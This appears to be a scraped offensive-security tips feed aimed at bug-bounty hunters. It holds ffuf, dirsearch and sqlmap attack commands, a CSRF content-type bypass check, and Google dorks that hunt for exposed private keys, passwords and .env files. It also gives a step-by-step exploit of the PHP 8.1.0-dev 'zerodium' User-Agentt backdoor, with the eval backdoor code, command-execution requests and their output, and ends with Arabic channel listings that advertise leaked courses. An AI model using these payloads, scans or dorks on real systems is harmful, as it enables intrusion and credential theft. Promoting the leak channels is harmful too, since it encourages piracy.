ffuf -u http://target.com/FUZZ -w wordlist.txt -e .json,.xml,.bak,.sql,.zip,.log,.config,.env -c -t 50 -recursion -recursion-depth 2 -s -mc 200,301,302 -o results.json

What does the command do?

dirsearch -l urls.txt -e
conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx
~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,con
f,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,ol
d,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,t
ar.bz2,tar.gz,txt,wadl,zip,log,xml,js,json --deep-
recursive --force-recursive --exclude-sizes=0B --
random-agent --full-url -o output.txt

A simple CSRF bypass to check if your target is sending JSON data without an anti-CSRF token

POST /api/profile HTTP/2
Host: app.example.com
Cookie: sess=eyJ...  # Session Cookie
Content-Type: application/json

{
  "email": "test@example.com"
}

POST /api/profile HTTP/2
Host: app.example.com
Cookie: sess=eyJ...  # Session Cookie
Content-Type: text/plain

{
  "email": "test@example.com"
}

sqlmap -u ' target.com ' --data '{"User":"abcdefg","Pwd":"Abc@123"}' --random-agent --ignore-code=403 --dbs --hex

subfinder -d canva.com | httpx -favicon -j | jq -r .favicon | grep -v null | sort-u

Here are 10 Google Dorks that are new and useful for bug bounty hunters during reconnaissance:

inurl:settings filetype:json OR filetype:xml

intitle:index.of "backup" OR "bkp" OR "bak"

inurl:error.log OR inurl:debug.log filetype:log

inurl:dbconfig OR inurl:database filetype:ini OR filetype:env

inurl:api OR inurl:swagger filetype:json

intitle:index.of id_rsa OR id_dsa filetype:key

intext:"password=" OR "pwd=" OR "pass=" filetype:properties OR filetype:txt

site:example.com filetype:pdf OR filetype:xls "confidential"

inurl:exports OR inurl:downloads filetype:csv OR filetype:txt

intext:"cloud" OR "aws" OR "gcp" filetype:yml OR filetype:yaml

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -H "Custom-Header: value"

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -recursion -recursion-depth 2

ffuf -w /path/to/wordlist.txt -u https://example.com/FUZZ -mr "regex-pattern"

PHP 8.1.0-dev RCE via User-Agentt Exploit

$_SERVER['HTTP_USER_AGENTT']

<?php
$user_agent = $_SERVER['HTTP_USER_AGENTT'];
eval($user_agent);
?>

How to Exploit the Vulnerability

1. Testing Delay with sleep()

GET /index.php HTTP/1.1
Host: vulnerable.com
User-Agentt: zerodiumsleep(5);

2. Executing a System Command

GET /index.php HTTP/1.1
Host: vulnerable.com
User-Agentt: zerodiumsystem('id');

uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Executing PHP via phpinfo()

GET /index.php HTTP/1.1
Host: vulnerable.com
User-Agentt: zerodiumphpinfo();

Conclusion
This vulnerability is extremely dangerous because it allows direct command execution on the server, potentially leading to a full compromise. Developers must be cautious about handling external inputs and always keep their PHP versions up to date.

قناة عامة تقوم بنشر التقنيات العامة و تتميز بشروحات لينكس.

المجتمع الرسمي للقراصنة ذوي القبعة الحمراء.

قناة تخص شروحات كالي لينكس بشكل مختلف ومتميز.

قناة تهتم باكتشاف الثغرات و استغلالها بالإضافة إلى الشروحات المميزة فيها.

قناة خاصة بالأدوات المستخدمة في البرمجة والأمن السيبراني.

قناة تقدم محتوى خاص بالتسريبات والبرامج.

قناة تقدم الوعي في الأمن السيبراني وشروحات مبسطة.

قناة مختصة بتسريب كورسات الشركات المشهورة في المجالات التقنية.

قناة مختصة بالشروحات والأخبار التقنية وتحديداً في البرمجة والأمن السيبراني.

المجتمع الرسمي لـGlobal Red Team

قناة خاصة بعلم الحاسوب وتحتوي على شروحات تخص الحاسوب بشكل عام.